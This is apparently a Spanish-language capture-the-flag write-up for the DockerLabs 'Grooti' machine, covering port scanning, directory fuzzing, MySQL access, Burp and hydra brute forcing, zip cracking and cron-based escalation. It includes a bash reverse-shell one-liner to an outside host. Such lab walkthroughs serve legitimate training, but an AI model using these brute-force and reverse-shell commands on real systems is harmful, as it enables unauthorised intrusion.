Post

Grooti, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing ficheros y dirs feroxbuster
fuerza bruta hydra
mysql basico navegaciony seleccion
Crak zip john

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pkgpoison 172.17.0.3

reporte

Como vemos tenemos el 80 http, el 22 ssh y el 3306 mysql, sin mas demora revisamos la web y lanzamos un feroxbuster para ver que directorios y ficheros hay.

Para empezar en la web ya encontramos varias cositas entre ellas grooti que podria ser nombre de usuario.

web1

Despues tenemos un menu con tres links en los cuales tambien encontramos en mis fotos un txt con el contenido curioso.

web1src

Como vemos dice que es un password

Y por ultimo viendo el fuento de la web principal encontramos un comentario que podria ser otro usuario rocket.

rocket

En la web facturas no encutro nada. Miremos que encontro ferox

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,txt -t 40 -u http://172.17.0.3

ferox

Nos encuentra un directorio secret asi que a seguir mirando web.

web2

Vemos otro posible user naia , no encuentro nada mas asi que voy a hacerle caso y porbar si rocket entra en mysql que no se dnd lo lei y pruebo con rocket y la pass del readme.

1
2
3
4
5
mysql -h 172.17.0.3 -u rocket -p #accedemos sin problemas
show databases;
use files_secret;
show tables;
select * from rutas;

db

Hemos conseguido una nueva ruta unprivate/secret asi que vamos a ella.Despues de ver que hace cada vez que pruebas se genera un txt que se descraga curioso , pero voy a burpsuite para hacerle brute force.Para ello realizo lo siguiente.

Como sabemos que solo es de 0 a 100 lo neceistamos como lista asi que ejecuto seq

1
seq 1 100
  1. configuramos el proxy en el navegador
  2. lanzamos burp y activamos el proxy
  3. realizamos la peticion para que sea capturaDA burpsuite
  4. enviamos la peticion al intruder
  5. configuramos el ataque
  6. lanzamos el ataque
  7. analizamos los resultados

Cuando tengamos bastantes testeados podemos empezar a buscar diferencias y el payload correcto es 16.

burp

Exacto al acertar el numero te descarga un fichero zip password16.zip , huele a jon.

Crack zip:

  1. Lo hasheamos con zip2jon
  2. Lanzamos el ataque de diccionario contra el fichero hasheado.
  3. Descomprimimos y seguimos con el reto
1
2
zip2john password16.zip > hash
john hash  --pot=salida --wordlist=~/Descargas/rockyou.txt

salidazip

Perfecto una vez descomprimido podemos observar que es un listado de contraseñas y solo nos queda atacar el ssh recordamos que tenemos varios posibles usarios pero yo voy a tirar con grooti primero asi que hydra adelante.

1
hydra -l grooti -P password16.txt 172.17.0.3 ssh

Tenemos suerte

hydra

Tenemos acceso y grooti es el unico usario asi que de el a root.

Escalada

Con un pequeño script para realizar comprobaciones basicas ‘pronto en mi github’ encontre que hay tareas en crontab que parecen prometedoras.

cron

Lo revisamos y nos lleva a otro fichero en tmp. Observando ambos y sus permisos vemos que hay algo para el grupo asi que vamos a tratar de editar /tmp/malicius, no me voy a complicar le voy a agregar una revshell.

ficheros

1
/bin/bash -i >& /dev/tcp/192.168.0.104/8899 0>&1

root

Somos root , la verdad esta muy divertida esta maquina te hace ir de un lugar a otro tiene users para despistar , bonito puzzle gracias.

Ponganse a la escucha antes aunque como es con cron tardara mas o menos saludos

Muchas gracias poor leerme, espero que te haya gustado y que te sirva de ayuda.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.